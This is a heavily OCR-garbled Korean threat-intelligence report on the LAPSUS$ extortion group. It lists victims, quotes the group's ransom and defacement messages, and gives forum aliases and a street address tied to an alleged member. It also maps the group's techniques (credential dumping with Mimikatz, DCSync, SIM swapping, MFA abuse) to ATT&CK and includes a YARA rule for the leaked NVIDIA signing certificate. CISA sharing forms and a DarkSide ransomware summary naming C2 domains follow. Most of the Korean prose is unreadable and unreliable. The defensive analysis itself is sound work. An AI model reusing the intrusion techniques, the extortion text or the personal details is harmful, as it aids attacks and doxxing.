OO FIIMO=Z HAF ¢ AAHIQI SisRegOf| CHSE vCenter HH| B2 & AFE A2 SRS,
ConecteSUSE Z3i5t 2= HAOIEL| HOHE RFLUSIRALY.

3 F2l 20218 128 13%0l= 2HOHS Soll 34 HBME S7HoHH, =0 CHet XjalS2| LhES it
Stil, XHMZ0| AWS, vCenter, SisReg H[O|EH|O|AS 25 7K1 QIOH, vCenter?| M1t 100TB O
HOEE 2F AXSIUCIL SiCt.

LAPSUSSOll 23t Hafa FEo| st 342 128 23Y7MK| AL=IULCL.

MORE VICTIMS:
— http://www.escolavirtual.gov.br
~ http://www.evg.gov.br
— http://www.antt.gov.br
— http://www.vlibras.gov.br
— http://www.sisp.gov.br
— http://www.servicos.gov.br
— http://www.sgd.nuvem.gov.br
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MIAGIA 7HWE 2 HA|T | EXZIARI América Movil2| Xt&|AIRI Claro, Embratel, NET(2019E0| Claro
HHER XZE)Q| HI0[HE HEoIAT FSINCE 0|52 Hatd ARt OEIXK|Z RE0 2EE W
22 3/I¥=0, 0|52 £H2 AWS, 2x Gitlab, XVN, x5 vCenter (MCK, CPQCLOUD, EOS, ODIN),
Dell EMC storage, All inboxes, Telecom/SS7, Vigia (Police interception), MTAWEB, WPP (customer
management) 2 Z2 YHO| HZoh=0| S3oIUL, 0|2RE UM FH S Qloet HA ZM, AATE
O|H|O0] et & 10,000TB~10PBL| HIO|HE 2f=olUCt L ofCt AMHM|Z O[S0| &/ S7Het AFE Sfl=

vCenter #2| H|0|X|2} RDPE Eolf HZSt GitLab, Sharepoint S0| EEHE|QUIALH.

HAIZ O[BI0l OJF HRfY BRSO ARSHE 0[N SUsH FAS HFoIRIM, HOJE AHIS ot

[=]

2RO HY0| BLOIEN HES A=oRAC.

o 34 A7 2022-01-02
o O™ AZ Al7] 1 2022-01-02

0|52 Grupo Impresa(Z2E2 Z[L O|C|0] CH7|2)E SHASI0, ImpresaZt ARSI Q= IEEZE Y TV
e SIC 7t 42 Expresso 0f CHet SAS +YoIRALCE Batd 224294 Claro MQk= CHEA| 2| 1HS
Soll SA HES S7HotK| HUXI, T4l OIS 2 Expressol| EfIE AYS oliiZsiRal, OPTO, Expresso,
SICQ| IASO0A SMSE ELHRUC}. Lot AWSZRH CI|0|EIE EF[oIRACt D Aot 2F EA0|EL| M2
H|O|X|Z Ottt ZO0| A oS 2+l

ufn

DATA WILL BE LEAKED IF THE VALUE REQUIRED IS NOT PAID.
WE HAVE ACCESS ON THE CLOUD PANELS (AWS), AMONG OTHER TYPE OF DEVICES.
THE CONTACT FOR THE RESQUE IS BELOW. CONTACT US:

d5
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8:32 AM - Jan 2
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LAPSUSS

OS DADOS SERAOQ VAZADOS CASO O VALOR

NECESSARIO NAO FOR PAGO. ESTAMOS COM ACESSO NOS PAINEIS DE CLOUD (AWS),
ENTRE OUTROS TIPOS DE DISPOSITIVOS. O CONTATO
PARA O RESGATE ESTA ABAIXO.

CONTATE-NOS:

https: /t.me

@ctemplar.com

Of AFH0| st

CHREE SCEMN 77} Impresall ZARE A|AH0| )
SHAISH| 2

HE LIS SIOIE|X| QIQMCH

Expresso £
@expresso

Lapsus$ e oflc:|almente 0 novo presidente de Portugal

== by Go gle

Lapsus$ is offamally the new president of Portugal

B tme
| LAPSUS$

You can view and join @minsaudebr right away.

, 2022 « Twitter Web App

20| ZZ2 0|H 30| Iy O|H[ <

om
Hu
HJIHJ

2 oLt 28 =X ADE0E
oF AL == AL OJ2otAX| 2t

, O[0f CHafAT OFX]

*BREAKING* Presidente afastado e
acusado de homicidio

Nao Verificado

° Expresso 19:55

*BREAKING* Presidente
afastado e acusado de
homicidio

Lapsus$ é o novo presidente de
Portugal, junte-se ao chat

https://t. me/minsaudebrs.
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Localiza Rent a Car SA= Z{EIOHHZ|Z7H & MAOIM 71 2 dIE7E x| S otLtz, SIX| AIZIZ 27 24|
3020{|A] 4Al, Localizall SHO|X|0f H&otH X2 AO|EZ 2|CHO[HMEL= SM0| SIRIEIQICE 0] SHA2
2A|ZF HE QXA 0|S0fl= “Inaccessible due to a DNS error.” 2717} €l AIO|E A0 BA|EOH,
Ol= DNS ARLZS SoliA Localiza?l & AOIEE 345t A= FHELY

LAPSUS$= &3 82 RHIS2| He| I3 xHHo| 3R5 48} LHEO|Lt OfESt C|O|E &2 HEE WE

8101, X 7tA0| HIMTH=E OlR= SAE +otRAHLL et

=
11

LAPSUSS 369 O # 275K 4
g We announce Localiza as a victim, this

was one of the largest car rental in

Latin American/the world. Now it's a

porn site!

https:/flocaliza.com/

Localiza

Localiza | Aluguel de Carros com a
maior frota do Brasil

Mais de 600 agéncias e a maior frota
de carros do Brasil. Procure uma
agéncia proxima, reserva com
seguranga e pague em 6x sem juros.
Facga sua reserva!l

|ADCl|ICS
AF U S 3

'i’ edmond s

WHY

The prices are expensive

* 34 A7| 1 2022-02-07
o 2ef|aY o5 A7l - 2022-02-09

Vodafone?2| 4| IF0| M2M, 2022 28 7Y & FE| Vodafone LEFZ XA HERZ S Ol+7t
LMGIUOH, 4G/5G HEXT, §M 34, HefHl™, SMS 2 Sd/CIX|E ST AH|AL 22 G0 HIEY=Z
7|8 MHIA XS0 Faks BATH, 12 H0|E0l= Mo Feko| il Sttt

LAPSUSS$= & 34| A2 Hir= WHGK| LUCH, XtM|St HEE SIHGHK| ATt SHXITE OS2 AHEUS
E58l VodafoneQ=ZHE| 500GB2 £ NHE EFHOD, Vodafon Portugal #£2F OfL|2} Vodafone

Global/UKOIM®= HIO|HE EFJUCHD ASSIACE. E5t 152 siZoh=0 2f 67H&0] AQLERACI T HFFIULC

o oo
L

11
0

—_—
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* 34 A7 1 2022-02-23
o O™ AHg Al7| - 2022-02-26

NVIDIA2| 34| Q0| ME2H, 20223 28 23Y0] IT 2|AAN F3kS O AO|H HOF AJ1E &0l
HERIE HS Zefotal AO|H 22t Al tHE HE7IE 1ot & T 7120 LRI STt ESH ALY
OlLt IZHOYH| MBIAS MSok= SEO| XEE FX| ¥S AO[2Al HF6IRA

LAPSUSS$:= 2022 2& 262, XRISQ| 22|03 20 NVIDIAS] HIOJE] 1
NVIDIAZ} XE59| MHE SZotil HEYANE BTN NVIDIAZL HEXI2t D 2HoIRALE. 0| AfiS2
C2[0|2 ZE o &5 YEE S/HoILC.

S/l EHE0E= 70,0007 O] I3 O|HIY =4 NTLM & oA, AATEO| A KH0] HAlE|K JUACH,
0IF & &&= 0120 HZE= oiE HFUE[ LHOIA FE=UCE

TBE 01 WS LB

NVIDIAZH B2 ZOIRIOIRt HIZ LAPSUS$ 5 AH{Ol B8 S85ts 22 AWM 4 E7Fsol0, B2
SAIISS Ofnt AR ZHE 20| OILI2L, DRMI 22 T 453 = =
HOR WLt A2 Y 5, LAPSUSSE XSOl STz MYLolk 23 38 MFGIHCY

=2
=
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1l

3!
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n=
02
_O'E
=
oo
fol
l?j
rn

OIF 7|, 2SS Solf A HFS Sofi AIL-O| 22Xt HEIS HEA 2EoiRL, sl=E, =2l0|H, O]
Z2 IR SQ¢t X=S0| ZetEl 1TB2| HIO|EIS ZF[oIRTAL ottt 0] 20 Z20] tiet =M, E =712t
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LGE.com employee's and
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maybe after Vodafone we can lea... yedlo:
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z LAPSUSS Chat PM Soen;
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dump. Bing and Cortana
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NOTE: IF THE TORRENT
FAILS MAKE SURE TO ADD
TRACKERS!! htips://
ngosang.github.io/
trackerslist/
trackers_best.txt

Enjoy everyone!
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*
OE0| I 2E MR
[— = a0 =20
LAPSUSS$ (Telegram)
4c3 LAPSUS (Raidforums) LAPSUSS (XDA) LAPSUS_GROUP (XSS)
https://forum. exploit.in/profil-- htps://raidforums.com/User-4c3  https://raidforums.com/Thread-S-- https://raidforums.com/Thread-S--
- - - -

LAPSUS$

LAPSUS$

LAPSUS$

Scammer

LAPSUS$

LAPSUS$

LAPSUS$
LAPSUS$
LAPSUS$

LAPSUS$

LAPSUS$
LAPSUS$

Scammer

Scammer

LAPSUS$

4¢3

4c3

LAPSUS_
GROUP

LAPSUS

LAPSUS$

4c3

4¢3
4¢3
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4¢3
4c3

LAPSUS

LAPSUS

LAPSUS$

LAPSUS$ 324 80| 343t 7| Ifsi HEE ZE0
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ShE.
LAPSUS$ 34 80| SSXCOE AEdk= Z=T AR

I} LAPSUSS 22 T1E09| Hig|12 IDE A3t
LAPSUS$ 22 20| 2245t 7| mI5H HEE 0|
S/HEHGIR|TE, 2|0 KHIS0| OFL2tLT o).
LAPSUS$ 22 20| 225t 7| L5 MEE =0
S

SELLING SELLING USER DATA OF
SCHLUMBERGER (836846 lines)

SELLING USER DATA OF SCHLUMBERGER
836846 lines

EA news

EA new leak and information [ "FIFA
MATCHMAKING SERVER SRC" ]

EA new leak and information [ "FIFA
MATCHMAKING SERVER SRC" ]

The Biggest EA Data Leak

The Biggest EA Data Leak Is Out

SELLING ACCESS to microsoft IS servers, ASP
NET applications source

SELLING parlamento.pt — HACKED Portugal Assembly
of Republic - Data Dumps - IIS Server ASPNET

General Samsung data leak. (TA/Knox/Bootloaders)



2 S 1“9

7. LAPSUSS 23 15 B =

LAPSUS$ 129 HiH
2= fAECZ H/OT Y
TES| H/0 3 2 852 5
HU|0 arion 0|2t= HOE &t

= white 2t=
ZH MM RF

107 Evans Ln, Kidlington OX5 2X-+

https://raidforums.com/User-Sha
-wr

oiLIZ EHEI= WhiteQl X

QX = DoxbinOME EZ50| HEHE(Q
HIO|EE F0{olALt Miloh= &30 LAZRUCE. d= 2018 FE
ol,

otACH, YR AHO| BF =
AtZoh= IEE HHFRACL

O DDoSshop, breachbase

ZZH = &S 0|H0] Elok= HO| 2RI=RACE 5

nutnether#7252 (Discord)
4

/
/

/
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/
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8. TTPs of LAPSUS$ GROUP

MicrosoftOflA 3708t LAPSUS$ &2 1S(aka DEV-0537)2| TTP %
LAPSUS$ 180| 21 Agst 82 EZE TIPS AGHEQUCY.

o JHA AFE ME(VPS) MIBYINUIM ZSol=s ME QO2tE HY
¢ NordVPN

o HIZHSOL M EZS 7| 2ol 249 Redline HIZHE AR |E

o AOIH E/0EE ZHEOM AH 3 2 A EZ S0

* XA 3F L MFA SQ10f| Ciet HMAS ffoh T ZE(EE SSA/HIZUA LEL)O| XRNA HIZS

Xl=otl F=|H4 S04

- wEE RS20 UE B0 2 MEs 2y

. ANE X2 Y W/ES M E22 ARZS10] QIELI 912 A U OHZ2RHOLI0 UAAVPN, RDP,

Citrix, VDI, Active Directory, Okta §)
o F7t J2[HIBE HGIY 2kt 215 = ¢S =7 JIs2 Sol MFA 23]

* SIM Aol Z7g

AS +Aot0, Hat 7|2 MFA 2IE 22

OH

* AD Explorers AIEot0] alid HIEHAS 2= MEAI I55 EA

* SharePoint L= Confluence?t Z2 & ZaZ JIRAL} 22 22X =X £2M, GitLab 2! GitHub?} 22

AE 2BX|EL|, Teams = Slacklt Z2 X2 &Y XIS M I A

[=|
» JIRA, Gitlab 2 ConfluenceE ZE3I510| LHEXOZ MHMA THsSH MHOIN THX|Z|X| 42 F|OHH ofg

 LEF XA 3Y 2 H|HO| Cist ZE MEA 3 Y =M M
* DCSync 3241 Mimikatz =15 Solf At Y =X 3 #Hot 45 =

UDHAT K0 AfS B3t BAS AITAH0] BT AIE

o ol SR 28 UoIM ME2 7h HiS 49
o Oi& ZZ0IM EZ2Q] VPN Z/EE= Azure AD =
o SoiRL QUAHAY F=E A AZE USLT 2F

—

o 2O Y|0JA(M: VMWare vSphere/ESX) & S2tREUA 2|AA ALY

o=

21 A2 Q1 A|AROZ FQ3t HIO|EE LhR2EE
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* Initial Access: HZH|0|2
* Initial Access: vCenter Server0||
SLIRERE WE AJAEI|
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ZHOIX|

* Impact: vSphere Client |

« EFlct HOH2| RE YUXIE 2lct

H=
* Impact:
* |mpact:

S
-
e

* Impact:

* |nitial Access & Persistence: RDPE S35t %=

E_I-il
=T

* |nitial Access: AWS F< 5 [|0|E

* Initial Access: vCenter Server0f &< % vSphere Client

EQE A s

* Credential Access:
* Impact: SH0|X| HE

o UMSOA DN HY S
* |nitial Access: 7| O|H A

d, VPN

* Impact: AMH|A UA| ZOH
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=
=
A
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Initial Access: MDM(Mobile device management) 2 Anyconnect VPN

Defense Evasion: QISA] EF L AFMHIAC MHO| AL

LISEIRI0f RE5(0] QI5we Tiar agf
QIFWS TS S5 L VPN BZ AIE Tks

Privilege Escalation & Defense Evasion: IP, MAC 12|11 EE| HE QIF 23|

Data from Information Repositories—Code Repositories: LHE FE Y EX|EZ| M2

Privilege Escalation & Defense Evasion: HE| HE| Q0I5 23|
OS Credential Dumping—NTDS: NTDS H|O[|E{H|0|AZE EHIOSI0 =HQ! AEEE 23
Data from Information Repositories—Code Repositories: LHE FE Y EX|E2| M2

Data from Information Repositories—Confluence: LHE Confluence &

Initial Access: LHFAIZC| VPN F2|HIAE et
Privilege Escalation & Defense Evasion: ZE| HE Q15 23|

Data from Information Repositories—Code Repositories: 2AATET} MEE HEX|EL] FH2

* Initial Access
= External Remote Services: RDPE Sl %X ZF

* Persistence
= Create Account-Local Account: 2Z 7|7| Lf MZ2 AN MM
= Create Account-Cloud Account: Office 365l MZ2 A MM

* Privilege Escalation

= Exploitation for Privilege Escalation: CVE-2021-34484 #|Q/X E2|Hq THE CIREE

ot Hetds A=

¢ Defense Evasion



* |Impair Defenses—Disable or Modify Tools: Process Hacker == FireEye Endpoint Agent
MHIA =

Credential Access

* OS Credential Dumping-Security Account Manager: Mimikatz =72 SAM(Security Account
Manager) GC[O|E{H|O|A HI 0|F I

= Unsecured Credentials—Credentials In Files: Office 3650 Excelz MEE IHARE =5 EHF|

Discovery

» Process Discovery: Process Explorer 2 Process Hacker =4S O0|23510] 7|7] Wi Alsf =0l
AV(Anti-virus) 22M ERH

Lateral Movement

* Remote Services—Remote Desktop Protocol: RDPE SdHf Lateral Movement &

Resource Development

» Obtain Capabilities—Tool: Process Explorer, Process Hacker, Mimikatz ZAM 2! CIRZC

* Obtain Capabilities—Exploit: CVE-2021-34484 ™ E2|/H T3 ZA 2 [IRZC

Collection

» Data from Cloud Storage Object: Office 365l ExcelZ X&E IHAQE =& B

» Email Collection-Email Forwarding Rule: O|H|Y E2H E2 Sali 2= O|HY =

Impact

» Service Stop: Process Hacker =72 FireEye Endpoint Agent AlH|A =

Credential Access

= Russian Market SOf|lA 0fgt 50| X' F2|HIE HEON +=HEl F7|E Sl iE AOIE HZ0|
Yool

Collection

* Data from Information Repositories: 2AATE 2l LHE H|0|E{7} &=l confluence, crucible, jira,
github F 3 HI0|E EH

Impact

= Service Stop: S/HE AHLZO| FAR| B2 M= Qo F L XIH

Initial Access

= 7|9 VPNO| EZot7| foll 7IE0 EFE FelHE ME

a9
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Execution

* RVTools: At & 2
Lateral Movement

| X O|H|Y A”S E8ol0 42 A3

==

Discovery

» ADExplorer: AD LHE A&
Credential Access
- 371 328 S U U Y

Collection

= Git HZXEZ 22

=21 X L=

A
» AHH Microsoft SharePoint &= &

Impact

- 2N

gz

ol Oj7t5t

YO 2|aAS AH|AFIZ] 2fol Tish 7|Y QUZ2t Ho

9. ATT&CK MATRIX

ab

Resource

Development

Initial Access

Execution

11595.002
T1589.001
11589.002
11592.004
11591.002
T1586.001
T1586.002
11584.004
11588.003
T1588.006
11588.002
11588.005
11597.002

11190
T1136.001
T1136.003

11133
11078.004

11199

11072

AKE

Off VPN QHMIA #EH 2 XS QA6

s flet 22 WAJS DHL|XIQt CIOJEH|0|AN H2

Pl 7| =
ELLET

ol

IS fIet

LiE ClIO|E 23

J

24y

2 147

=<

- Active Scanning: Vulnerability Scanning

- Gather Victim Identity Information: Credentials
- Gather Victim Identity Information: Email Addresses

- Gather Victim Host Information: Client Configurations
— Gather Victim Org Information: Business Relationships
- Compromise Accounts: Social Media Accounts
- Compromise Accounts: Email Accounts

— Compromise Infrastructure: Server

— Obtain Capabilities: Code Signing Certificates

- Obtain Capabilities: Vulnerabilities
- Obtain Capabilities: Tool
- Obtain Capabilities: Exploit

- Search Closed Sources: Purchase Technical Data

- Exploit Public-Facing Application
- External Remote Services

- Create Account: Local Account

- Create Account: Cloud Account
- Valid Accounts: Cloud Accounts
- Trusted Relationship

- Software Deployment Tools



Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral
Movement

Collection

11133

11556.004
11098.001
11098.003

11068

11078.002

T1553.002
T1578.002
T1562.001

11003

T1003.006
T1003.003
T1003.002

11111

T1552.001
T1555.003
T1555.005

T1580
11538
T1619
11083
T1018
11033

11069.002

11057
11087
m217
11046
11482

11016.001

11021.001
T1563.002

11534
T1530

11213.001
11213.002
T1213.003

T1005
11113

11114.003

11039

- External Remote Services

- Modify Authentication Process: Network Device Authentication
- Account Manipulation: Additional Cloud Credentials

= Account Manipulation: Add Office 365 Global Administrator Role

- Exploitation for Privilege Escalation
- Valid Accounts: Domain Accounts

- Subvert Trust Controls: Code Signing
- Modify Cloud Compute Infrastructure: Create Cloud Instance
- Impair Defenses: Disable or Modify Tools

- OS Credential Dumping

- OS Credential Dumping: DCSync

- OS Credential Dumping: NTDS

- OS Credential Dumping: Security Account Manager

- Two—Factor Authentication Interception

— Unsecured Credentials: Credentials In Files

- Credentials from Password Stores: Credentials from Web Browsers
- Credentials from Password Stores: Password Managers

- Cloud Infrastructure Discovery
- Cloud Service Dashboard
- Cloud Storage Object Discovery

File and Directory Discovery

Remote System Discovery

System Owner/User Discovery

Permission Groups Discovery: Domain Groups
Process Discovery

Account Discovery

Browser Bookmark Discovery

Network Service Scanning

Domain Trust Discovery

System Network Configuration Discovery: Internet Connection
Discovery

Remote Services: Remote Desktop Protocol
Remote Service Session Hijacking: RDP Hijacking
Internal Spearphishing

Data from Cloud Storage Object

Data from Information Repositories: Confluence

Data from Information Repositories: Sharepoint

Data from Information Repositories: Code Repositories
Data from Local System

Screen Capture

Email Collection: Email Forwarding Rule

Data from Network Shared Drive

a’
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Exfiltration T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage

T1567 - Exfiltration Over Web Service
11485 - Data Destruction
11489 - Service Stop

Impact 71490 - Inhibit System Recovery

T1491.002 - Defacement: External Defacement

T1529 - System Shutdown/Reboot

Mobile T1451 - SIM Card Swap

10. Conclusion

* OFZ LAPSUS$ 34 10| AkgSt #AIKQI TTP7t 20| SH=X| U, 0] IF2| A 7I=
|

oid &2 QXK 2R =H o] o=

sz

« BIX[EH 0|S0| Z7HEt AT U RHE! 7|20j= R&3H VPN, RDP, AWS U Azure S| F2|H8S S

HES ofs 27t IR 2 HISS XHAlokl 7| HE0H AF0i S7HE Fofet Muet REE F2|HES

o SN AZTIE HX|D QY= ISO|X|PH X5 S| =3 JHSA0| £O0 0|0 CHEH CHH| L K|
27 12 FX0| LQsHHS
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* https://twitter.com/vxunderground/status/1497484483494354946
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Appendix A. Yara rule

import "pe"

rule SUSP_NVIDIA_LAPSUS_Leak_Compromised_Cert_Mar22_1 {
meta:

description = "Detects a binary signed with the leaked NVIDIA certifcate and compiled
after March 1st 2022"

author = "Florian Roth"

date = "2022-03-03"

modified = "2022-03-04"

score = 70

reference = "https://twitter.com/cyb3rops/status/1499514240008437762"

condition:
uint16(0) == Ox5a4d and filesize { 100MB and
pe.timestamp ) 1646092800 and // comment out to find all files signed with that
certificate
for any i in (0 .. pe.number_of_signatures) : (
pe.signaturesli].issuer contains "VeriSign Class 3 Code Signing 2010 CA" and (
pe.signaturesli].serial == "43:bb:43:7d:60:98:66:28:6d:d8:39:e1:d0:03:09:f5" or
pe.signaturesli].serial == "14:78:1b:c8:62:€8:dc:50:3a:55:93:46:15:dc:c5:18"
)

a3
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of= dH
(E) 22Xl Aol HH 2 SH|
(F) 3 AolH 2Ot 3ol Zitz {EE FYHO| et 2HS Zeoi0] ARICZ Qo &K
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212, 136369 mproving Critica .
Infrastructure Cybersecurity)
”..'.7_*%"9! AO[|HEQH HEHIR
2015. &¥ HH = (Promoting Private
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CTl 8%
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Submitter's Contact Information
Please provide your contact information so that we are able to contact you should we need to follow-up

Name
First * Last *
Telephone * Email Address *

Organization Name *

What type of organization are you? *
United States State, Local, Tribal, or Territoriat (SLTT) Government

O United States Federal Government _) Foreign Government
O Individual

_) Private Sector

Please select the critical infrastructure sector you belong to: *
Mane / Not Applicable v
Organization Country:
United States (US) v
Organization Subdivision: *
Select One v
Submission Marking Information
Pleaze provide the information below to ensure that your submission is handled appropriately.
Please select the Traffic Light Protocol (TLP) Color *
Green v
v

The contact information above, including “Organization Name”, may be shared with

U.S. Govemment
[[] The information contained in this submission should be considered commercial, financial, and proprietary under the Cybersecurity Information Sharing Act of 2015
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Indicators

Indicator Title

Indicator Description

Please enter the Internet Protocol (IP) address observable(s):

IP Address ‘ | Port | ‘ Protocol ‘

+ Add another Internet Protocal (IP) address observable

Please enter the Domain observable(s):

Domain - Bemove Domain observable

+ Add another Domain observable

Please enter the MD5 Hash observable(s):

- Remove IP address observable

MD5 Hash | - Remove MDS5 hash observable

+ Add another MD5 Hash abservable

Please enter the email observable(s):

Email 1

Email Sender |

[_J Email Sender Spoofed

Email Subject ‘

Email Body

+ Add another Email observable

Please select applicable kill chain stages:

[l Reéconnaissance

] Weaponization

[ Delivery

[ Exploitation

[ Installation

] Command and Control
[] Action on Chjective

Please enter the defensive measures:

Defensive Measure 1

Title

Description

+ Add ancther defensive measure

- Remove Email observabie 1

- Remove Defensive Measure 1
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Additional Defensive Measures

Additional Defensive Measure 1

Title lil - Remove Additional Defensive Measure 1

Description

+ Add another additional defensive measure

Attack Patterns

See Common Attack Patterns Enumeration and Classification (CAPEC) for details.

Attack Pattern 1

- Remove Attack Pattern 1

CAPEC ID |
L E—

Description

+ Add another attack pattern

Vulnerabilities

See Common Yulnerabilitizs and Exposures (CVE} for details.

Vulnerability 1

- Remove Vulnerability 1

CVE ID
Title

Description

+ Add another vulnerability

g1
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[T1E 3] STIX EHIQ! ZHH(SDO) ZAHI(0IA])26)

SDO Relationships
RN Uses Targets

Click the SDO in the table you wish to view.
m - Mitigates  Targets

" Delivers

- TAXII ™(Trusted Automated Exchange of Intelligence Information, 2I2[& 4 QU= X|HE HE wehe=
HTTPSE &ali CTIE ulho’| flet OHZZAH0N T2 EZZ Ofot 38 37 Z=-S XI&6l7| loff OF2H<|
= 71X 7= MHIAE FY
® Collection : Collection2 Q%dk= CTI C|0|E| MIES SAEE 4= JUEZE of= TAXII MHOA HSsk=

CTl 7HXIQ] =2 XEYA0| CHet QIE{HO]A
@ Channel - TAXII MHOIM RX| 22[5k= ChannelE Sofl #4tAk= HIO|EE
AHX= B2 WAAZRE HOEE =4

S AHIKIOIA ZASHD

26) https://oasis—open.github.io/cti-documentation/examples/visualized-sdo-relationships
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Collections Channels

TAXII
Server

Consumer

Producer =
Requesl Client
Publish
Response TAXII VUl S— Subscribe
* Client Client TAXII Consumer
Server
TAXII
Client
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- gt At EX| X|2(US-CERT Federal Incident Notification Guidelines)27)0|| [I2H 7|22 RIGHAIT
M Al Or2lel HHEE SXlotA =0 USLICE

A 274

SA| M=

2 AT Tt
AHA

H>: dH

52 HlE]

34 YH 88

QUHE £

2=
Kl

&
K
T

&

S 0% O oot

g

- 0|0f [MZ HEZQE= 2F J2Y(SAC = CIACP S)Z 0|20{X|1 QL0 Metst 2oL 27| o{&SLICE
— CI2E TLP'WHITEZ BEA|E & A2 CISASH0IX|0 S7H=|0] JCH, 0|2 SQIGHEH HUHYEHT} MAM5]
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- OIE =0 OffQl HN MAS HRIHEH QOF R0 0] AFA2 DarkSide ransomwareE 0|E¢t

“affiliates” 2| 349, baroquetees.com} rumahsia.com 5 7 AO|E7} 34 ZiS & 4= JUSLICH

Il

Summary
Description
This Malware Analysis Report (MAR) is the result of analytic efforts by the Cybersecurity and Infrastructure Security Agency (CISA).
CISA processed three (3) files associated with a variant of DarkSide ransomware. NOTE: CISA has no evidence that this variant is
related to the pipeline incident, referred to in Joint Cybersecurity Advisory AA21-131A: DarkSide Ransomware: Best Practices for
Preventing Business Disruption from Ransomware Attacks.

Ransomware is designed to encrypt the victim's files to extort and ransom for their recovery. DarkSide is a ransomware-as-a-service
(RaaS)--the developers of the ransomware received a share of the proceeds from the cybercriminal actors who deploy it, known as
"affiliates.” This DarkSide ransomware variant executes a dynamic-link library (DLL) program used to delete Volume Shadow copies
available on the system. The malware collects, encrypts, and send system information to the threat actor's command and control
(C2) domains and generates a ransom note to the victim.

CISA is distributing this MAR, which includes suggested response actions and recommended mitigation technigues, to help network
defenders identify and mitigate risks.

For a downloadable copy of 10Cs, see: MAR-10337802-1.v1.WHITE.stix.
Click here for a PDF version of this report.

Submitted Files (3)
156335hb95ba216456f1ac0894b7h9d6ado5404ac7df447940f21646ca0090673 (156335b95ba216456f1ac0894b7bad...)
3ba456cafch31e0710626170c3565aae305bc7c32a948a5410331d0939e0fe8a (045621d9.BMP)
f6fba207c71d1f53f82d96a87c25¢c4fa3c020dcab8d9b8a266137f33597a0b0e (README.045621d9.TXT)

Domains (2)
baroquetees.com

rumahsia.com

https://www.cisa.gov/uscert/ncas/analysis—reports/ar21-189a

27) https://www.cisa.gov/uscert/incident-notification-guidelines
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28) https://www.cisa.gov/ais
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